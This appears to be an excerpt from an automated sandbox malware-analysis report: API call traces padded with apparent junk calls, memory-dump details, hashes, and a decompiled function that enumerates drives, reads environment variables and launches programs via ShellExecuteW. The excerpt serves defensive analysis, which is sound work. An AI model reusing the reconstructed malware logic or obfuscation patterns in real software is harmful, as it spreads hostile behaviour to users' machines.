Part of subcall function 00419B4E: RealDriveType.SHELL32(81693532,00000000), ref: 00419C00
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C06
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(E8F18F5C,00000000), ref: 00419C15
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C1B
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C21
Part of subcall function 00419B4E: RealDriveType.SHELL32(E902450C,00000000), ref: 00419C2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(90A3CA22,00000000), ref: 00419C33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C39
Part of subcall function 00419B4E: RealDriveType.SHELL32(093A69B5,00000000), ref: 00419C42

lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,004120F0), ref: 0040867F
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004120F0), ref: 0040868A
StrStrW.SHLWAPI(00000000,?,?,?,?,?,?,004120F0), ref: 0040869A
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 00408965

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C48
Part of subcall function 00419B4E: RealDriveType.SHELL32(4F2F9935,00000000), ref: 00419C51
Part of subcall function 00419B4E: RealDriveType.SHELL32(0447F28C,00000000), ref: 00419C5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(EE23359B,00000000), ref: 00419C63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C69
Part of subcall function 00419B4E: RealDriveType.SHELL32(D989BAD6,00000000), ref: 00419C72
Part of subcall function 00419B4E: RealDriveType.SHELL32(1CF0C71B,00000000), ref: 00419C7B
Part of subcall function 00419B4E: lstrlenW.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C7E
Part of subcall function 00419B4E: LocalAlloc.KERNELBASE(00000040,00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C8E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C9A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(462CC7D3,00000000), ref: 00419CA9
Part of subcall function 00419B4E: RealDriveType.SHELL32(234BE037,00000000), ref: 00419CB2
Part of subcall function 00419B4E: RealDriveType.SHELL32(A4D6ACB1,00000000), ref: 00419CBB
Part of subcall function 00419B4E: RealDriveType.SHELL32(48D1B2F5,00000000), ref: 00419CC4
Part of subcall function 00419B4E: RealDriveType.SHELL32(4B90ED69,00000000), ref: 00419CCD
Part of subcall function 00419B4E: RealDriveType.SHELL32(89C89DBC,00000000), ref: 00419CD6
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CDC
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC35A942,00000000), ref: 00419CE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(DDCF0A61,00000000), ref: 00419CF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(E4E5AE85,00000000), ref: 00419CFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D03
Part of subcall function 00419B4E: RealDriveType.SHELL32(448CA2B2,00000000), ref: 00419D0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(67173F86,00000000), ref: 00419D15
Part of subcall function 00419B4E: RealDriveType.SHELL32(F63D3B4C,00000000), ref: 00419D1E
Part of subcall function 00419B4E: RealDriveType.SHELL32(753987CF,00000000), ref: 00419D27
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D2D
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D39
Part of subcall function 00419B4E: RealDriveType.SHELL32(91997886,00000000), ref: 00419D42
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D48
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D4E

lstrlenW.KERNEL32(-00000002,?,?,?,?,?,?,004120F0), ref: 004086CB
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004120F0), ref: 004086D6
StrStrW.SHLWAPI(-00000002,?,?,?,?,?,?,004120F0), ref: 004086E6
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 0040895C

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D5A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D60
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D66
Part of subcall function 00419B4E: RealDriveType.SHELL32(3BABE4BA,00000000), ref: 00419D6F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D75
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D008AD7,00000000), ref: 00419D7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D90
Part of subcall function 00419B4E: RealDriveType.SHELL32(A11DFE8B,00000000), ref: 00419D99
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D9F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD0
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD6
Part of subcall function 00419B4E: RealDriveType.SHELL32(FACE207B,00000000), ref: 00419DDF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(D28289B7,00000000), ref: 00419DF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(0EAC1263,00000000), ref: 00419DFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E03
Part of subcall function 00419B4E: RealDriveType.SHELL32(EA227221,00000000), ref: 00419E0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(A90BEB86,00000000), ref: 00419E15
Part of subcall function 00419B4E: RealDriveType.SHELL32(EDD40E07,00000000), ref: 00419E1E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E24
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(130527F1,00000000), ref: 00419E33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E39
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E3F

lstrlenW.KERNEL32(-00000004,?,?,?,?,?,?,004120F0), ref: 00408717
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,004120F0), ref: 00408722
StrStrW.SHLWAPI(-00000004,?,?,?,?,?,?,004120F0), ref: 00408732
StrToIntW.SHLWAPI(004120F0,?,?,?,?,?,?,004120F0), ref: 00408768
LocalAlloc.KERNEL32(00000040,00000410,?,?,?,?,?,?,004120F0), ref: 0040878F
StrStrW.SHLWAPI(?,?,?,?,?,?,?,004120F0), ref: 0040879F

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F4A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F50
Part of subcall function 00419B4E: RealDriveType.SHELL32(B190EFF0,00000000), ref: 00419F59
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F5F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F65
Part of subcall function 00419B4E: RealDriveType.SHELL32(E1A60634,00000000), ref: 00419F6E
Part of subcall function 00419B4E: RealDriveType.SHELL32(366B8E14,00000000), ref: 00419F77
Part of subcall function 00419B4E: RealDriveType.SHELL32(40932F09,00000000), ref: 00419F80
Part of subcall function 00419B4E: RealDriveType.SHELL32(3DAE64CB,00000000), ref: 00419F89
Part of subcall function 00419B4E: RealDriveType.SHELL32(5AFAF68A,00000000), ref: 00419F92
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F98
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F9E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FA4
Part of subcall function 00419B4E: RealDriveType.SHELL32(AC10EC3A,00000000), ref: 00419FAD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FBF
Part of subcall function 00419B4E: RealDriveType.SHELL32(DF33BCFE,00000000), ref: 00419FC8
Part of subcall function 00419B4E: RealDriveType.SHELL32(34727096,00000000), ref: 00419FD1
Part of subcall function 00419B4E: RealDriveType.SHELL32(E0102DA0,00000000), ref: 00419FDA
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D8740DB,00000000), ref: 00419FE3
Part of subcall function 00419B4E: RealDriveType.SHELL32(2EF133F2,00000000), ref: 00419FEC
Part of subcall function 00419B4E: RealDriveType.SHELL32(9F55DDDA,00000000), ref: 00419FF5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FFB
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A001
Part of subcall function 00419B4E: LocalFree.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 0041A008
Part of subcall function 00419B4E: RealDriveType.SHELL32(C7C58F7B,00000000), ref: 0041A016
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A022
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A026
Part of subcall function 00419B4E: RealDriveType.SHELL32(2F8A0499,00000000), ref: 0041A02E

LocalAlloc.KERNEL32(00000040,00000410,?,?,?,?,?,?,004120F0), ref: 004087CD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000208,?,?,?,?,?,?,004120F0), ref: 004087DE
LocalAlloc.KERNEL32(00000040,00000209,?,?,?,?,?,?,004120F0), ref: 00408802
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,004120F0), ref: 00408815
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040887E
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004120F0), ref: 00408885
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004120F0), ref: 0040888C

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,004120F0), ref: 00408893
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 0040889C

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 004088A7
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 004088B0
LocalFree.KERNEL32(004120F0,?,?,?,?,?,?,004120F0), ref: 004088B9
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 004088C2
StrStrW.SHLWAPI(?,?,?,?,?,?,?,004120F0), ref: 004088D1
StrToIntW.SHLWAPI(004120F0,?,?,?,?,?,?,004120F0), ref: 004088E9
StrToIntW.SHLWAPI(004120F0,?,?,?,?,?,?,004120F0), ref: 004088F7
ShellExecuteW.SHELL32(00000000,?,?,00000000,00000000), ref: 00408911
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 0040891C
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 00408925
LocalFree.KERNEL32(004120F0,?,?,?,?,?,?,004120F0), ref: 0040892E
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 00408937
LocalFree.KERNEL32(?,?,?,?,?,?,?,004120F0), ref: 00408945
LocalFree.KERNEL32(004120F0,?,?,?,?,?,?,004120F0), ref: 0040894E

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E45
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E4B
Part of subcall function 00419B4E: RealDriveType.SHELL32(3ED7E388,00000000), ref: 00419E54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(5A47B4C0,00000000), ref: 00419E63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E69
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E6F
Part of subcall function 00419B4E: RealDriveType.SHELL32(B0E0B450,00000000), ref: 00419E78
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E90
Part of subcall function 00419B4E: RealDriveType.SHELL32(ED838CCA,00000000), ref: 00419E99
Part of subcall function 00419B4E: RealDriveType.SHELL32(72878FA1,00000000), ref: 00419EA2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EA8
Part of subcall function 00419B4E: RealDriveType.SHELL32(55765162,00000000), ref: 00419EB1
Part of subcall function 00419B4E: RealDriveType.SHELL32(980D59D6,00000000), ref: 00419EBA
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC7B410D,00000000), ref: 00419EC3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EC9
Part of subcall function 00419B4E: RealDriveType.SHELL32(0ABC8BCF,00000000), ref: 00419ED2
Part of subcall function 00419B4E: StrCpyW.SHLWAPI(00000000,00000000), ref: 00419EE4
Part of subcall function 00419B4E: RealDriveType.SHELL32(B83DD4C3,00000000), ref: 00419EF6
Part of subcall function 00419B4E: RealDriveType.SHELL32(0C3D9681,00000000), ref: 00419EFF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F05
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F0B
Part of subcall function 00419B4E: RealDriveType.SHELL32(CA93AD31,00000000), ref: 00419F14
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F1A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F20
Part of subcall function 00419B4E: RealDriveType.SHELL32(24D7B2B3,00000000), ref: 00419F29
Part of subcall function 00419B4E: RealDriveType.SHELL32(A30DBBF3,00000000), ref: 00419F32
Part of subcall function 00419B4E: RealDriveType.SHELL32(AEA3431A,00000000), ref: 00419F3B
Part of subcall function 00419B4E: RealDriveType.SHELL32(D755FC82,00000000), ref: 00419F44

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$Free$Alloclstrlen$ExecuteShell$EnvironmentVariable
String ID:
API String ID: 4255687241-0
Opcode ID: 9f479ecefe34ee64123478c133de1cffc8c722f2147c6b0d4391a346fd657fd2
Instruction ID: 0870309973f1726553c1039606a6e55f9ef58902981fd135709f1f2720046d67
Opcode Fuzzy Hash: 9f479ecefe34ee64123478c133de1cffc8c722f2147c6b0d4391a346fd657fd2
Instruction Fuzzy Hash: 1F919672B00115AFDB216FA0ED0996EBB75FF44702B404579FA02A31A4DF3C8E129B6C

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5B Relevance: 49.2, APIs: 27, Strings: 1, Instructions: 239
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406D5B(WCHAR* __ecx, WCHAR* __edx, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, char _a16, int _a20, int _a24, intOrPtr _a28, intOrPtr* _a32) {
				intOrPtr _v10;
				short _v12;
				signed int _v14;
				short _v16;
				void* _v20;
				signed int _v22;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				WCHAR* _v40;
				WCHAR* _v44;
				WCHAR* _v48;
				WCHAR* _v52;
				signed short* _v56;
				void* _v60;
				void* _v64;
				void* _t80;
				signed int _t84;
				void* _t85;
				WCHAR* _t87;
				signed int _t89;
				signed int _t90;
				long _t94;
				void* _t97;
				signed int _t100;
				int _t103;
				WCHAR* _t104;
				int _t105;
				int _t106;
				WCHAR* _t114;
				int _t120;
				void* _t122;
				void* _t126;
				void* _t133;
				signed short* _t134;
				signed int _t135;
				void* _t145;
				void* _t151;
				WCHAR* _t152;
				void* _t153;
				WCHAR* _t156;
				signed int _t160;
				signed int _t161;
				void* _t162;
				void* _t166;
				signed int _t167;
				void* _t169;

				_t169 = (_t167 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_v44 = __ecx;
				_t126 = LocalAlloc(0x40, 0x410);
				_t80 = LocalAlloc(0x40, 0x20a);
				_t156 = _a4;
				_v60 = _t80;
				if(lstrlenW(_t156) <= 4) {
					L31:
					LocalFree(_t126);
					LocalFree(_v60);
					_t84 = 0;
					L32:
					return _t84;
				}
				if( *_t156 != 0x25) {
					_t85 = StrCpyW(_t126, _t156);
					L29:
					_t126 = _t85;
					L30:
					_t73 =  &_a16; // 0x406645
					E004068D3(_v48, _v52, _t126, _t126, _a8, _a12, _a20, _a24,  *_t73, _a28, _a32, 0x40, 0);
					goto L31;
				}
				_t87 =  &(_t156[1]);
				_v52 = _t87;
				if( *_t87 != 0x44 || _t156[2] != 0x53 || _t156[3] != 0x4b) {
					_t160 = StrStrW(_t87,  *0x423418) - _v56 >> 1;
					_t89 = E00419B4E(_v56,  &_v64, 0, _t160);
					__eflags = _t89;
					if(_t89 != 0) {
						_t90 = GetEnvironmentVariableW(_v64, _t126, 0x208);
						__eflags = _t90;
						if(_t90 != 0) {
							_t133 = _t126;
							__eflags = _t160;
							if(__eflags == 0) {
								goto L30;
							}
							_t85 = E0041AD76(_t133,  &(( &(_v56[1]))[_t160]), __eflags);
							goto L29;
						}
						_t161 = 0xfffffffe;
						L25:
						LocalFree(_v64);
						LocalFree(_t126);
						_t84 = _t161;
						goto L32;
					}
					_t161 = _t160 | 0xffffffff;
					goto L25;
				} else {
					_t151 = LocalAlloc(0x40, 0x410);
					_v28 = _t151;
					_t94 = GetLogicalDriveStringsW(0x208, _t151);
					_v36 = _t94;
					if(_t94 == 0) {
						L20:
						LocalFree(_t151);
						goto L31;
					}
					_t145 = 0;
					_t162 = 0;
					_v32 = 0;
					if(_t94 == 0) {
						goto L20;
					}
					_t12 = _t151 - 6; // -6
					_t13 = _t151 - 4; // -4
					_t134 = _t13;
					_v64 = _t12;
					_t97 = _v36;
					_v56 = _t134;
					do {
						if(_t162 > 0 &&  *((intOrPtr*)(_t151 + _t162 * 2)) == _t145) {
							_v20 = _t145;
							_v10 = _t145;
							_t135 =  *_v64 & 0x0000ffff;
							_v24 = _t135;
							_v16 = _t135;
							_t100 =  *_v56 & 0x0000ffff;
							_v22 = _t100;
							_v14 = _t100;
							_v12 =  *((intOrPtr*)(_t151 + _t162 * 2 - 2));
							_t103 = GetDriveTypeW( &_v16);
							_t104 = LocalAlloc(0x40, 0x20);
							_t152 =  *0x4232f0; // 0x513bcf8
							_v40 = _t104;
							_t105 = wsprintfW(_t104, _t152, _t103);
							_t169 = _t169 + 0xc;
							_t106 = lstrlenW(_t152);
							asm("cdq");
							if(_t105 >= _t106 - _t145 >> 1) {
								_t166 = StrCpyW(LocalAlloc(0x40, lstrlenW(_a4) * 0x22), _v44);
								_t114 = StrStrW(_t166,  *0x423418);
								if(_t114 != 0) {
									_t153 = _t166 + (_t114 - _t166 >> 1) * 2;
									 *((short*)(_t153 - 2)) = 0;
									if(StrStrW(_t166, _v40) != 0) {
										_t39 = _t153 + 2; // 0x513bcfa
										_t166 = _t39;
										_t120 = lstrlenW(_t166);
										_t183 = _t120 - 1;
										_push( &_v28);
										_push(_t126);
										if(_t120 <= 1) {
											_t122 = StrCpyW();
										} else {
											_t122 = E0041AD76(StrCpyW(), _t166, _t183);
										}
										_t126 = _t122;
										_t45 =  &_a16; // 0x406645
										E004068D3(_v52, _v56, _t126, _t126, _a8, _a12, _a20, _a24,  *_t45, _a28, _a32, 5, 0);
										_t169 = _t169 + 0x2c;
									}
								}
								LocalFree(_t166);
							}
							LocalFree(_v32);
							_t162 = _v24 + 1;
							_v56 =  &(_v56[1]);
							_t134 = _v48 + 2;
							_t151 = _v20;
							_t145 = 0;
							_t97 = _v28;
						}
						_v64 = _v64 + 6;
						_t162 = _t162 + 3;
						_t134 =  &(_t134[3]);
						_v32 = _t162;
						_v56 = _t134;
					} while (_t162 < _t97);
					goto L20;
				}
			}

0x00406d61
0x00406d6e
0x00406d72
0x00406d83
0x00406d85
0x00406d8b
0x00406d8f
0x00406d9c
0x0040704d
0x0040704e
0x00407058
0x0040705e
0x00407060
0x00407066
0x00407066
0x00406da8
0x0040701b
0x00407021
0x00407021
0x00407023
0x00407034
0x00407045
0x00000000
0x0040704a
0x00406dae
0x00406db5
0x00406db9
0x00406fc2
0x00406fc6
0x00406fcd
0x00406fcf
0x00406fe0
0x00406fe6
0x00406fe8
0x00407002
0x00407004
0x00407006
0x00000000
0x00000000
0x00407012
0x00000000
0x00407012
0x00406fec
0x00406fed
0x00406ff1
0x00406ff8
0x00406ffe
0x00000000
0x00406ffe
0x00406fd1
0x00000000
0x00406dd5
0x00406de2
0x00406dea
0x00406dee
0x00406df4
0x00406dfa
0x00406f9b
0x00406f9c
0x00000000
0x00406f9c
0x00406e00
0x00406e02
0x00406e04
0x00406e0a
0x00000000
0x00000000
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1a
0x00406e1e
0x00406e22
0x00406e24
0x00406e38
0x00406e3c
0x00406e40
0x00406e47
0x00406e4c
0x00406e51
0x00406e54
0x00406e59
0x00406e63
0x00406e6d
0x00406e79
0x00406e7f
0x00406e88
0x00406e8c
0x00406e92
0x00406e98
0x00406e9e
0x00406ea5
0x00406ed1
0x00406ed4
0x00406edc
0x00406ee7
0x00406eec
0x00406ef8
0x00406efa
0x00406efa
0x00406efe
0x00406f04
